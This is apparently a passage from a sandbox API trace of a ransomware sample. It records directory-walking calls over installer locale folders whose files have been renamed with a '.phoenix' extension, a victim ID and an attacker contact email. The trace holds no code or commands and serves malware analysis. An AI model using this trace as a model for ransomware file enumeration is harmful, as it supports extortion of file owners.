	[0219.201] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d955fab, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d955fab, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3d9ee98e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.201] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.201] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.201] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1
	[0219.201] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.202] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.202] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea2e6ca, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ea2e6ca, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea78cf1, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.202] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea78cf1, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ea78cf1, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ec1c772, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.202] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9ee98e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d9ee98e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dad87aa, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.203] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9ee98e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3d9ee98e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3dad87aa, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.203] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.203] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.203] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1
	[0219.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.204] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.204] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb5dcad, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3eb5dcad, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ebf646c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.204] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebf646c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ebf646c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ed016d1, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.204] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da872a8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3da872a8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3deff943, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.204] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da872a8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3da872a8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3deff943, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.205] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.205] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.205] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1
	[0219.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.206] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.206] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ec62d68, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ec62d68, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f4f50d2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.206] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed016d1, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ed016d1, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ed7a71d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.206] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad87aa, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dad87aa, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3df25b73, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.206] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad87aa, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3dad87aa, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3df25b73, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.207] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.208] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.208] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1
	[0219.208] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.208] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.209] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed7a71d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ed7a71d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ee5a52c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x17c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.209] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ee5a52c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ee5a52c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f098950, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xee12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.209] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3deff943, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3deff943, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea9ef7f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.209] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3deff943, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3deff943, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ea9ef7f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.209] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0219.210] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.210] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2070", cAlternateFileName="")) returned 1
	[0219.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.211] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.211] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f098950, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f098950, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f19ff25, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x10a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.211] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1d50ba, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f1d50ba, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f26c821, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
	[0219.211] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df25b73, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3df25b73, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e924c5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 1
	[0219.211] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3df25b73, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3df25b73, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3e924c5a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPR~1.PHO")) returned 0
	[0219.211] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.212] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.212] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="3076", cAlternateFileName="")) returned 1
	[0219.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.213] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.213] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f26c821, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f26c821, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f522dca, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="EULART~1.PHO")) returned 1
	[0219.213] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f4f50d2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f4f50d2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f5fffff, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="LOCALI~1.PHO")) returned 1
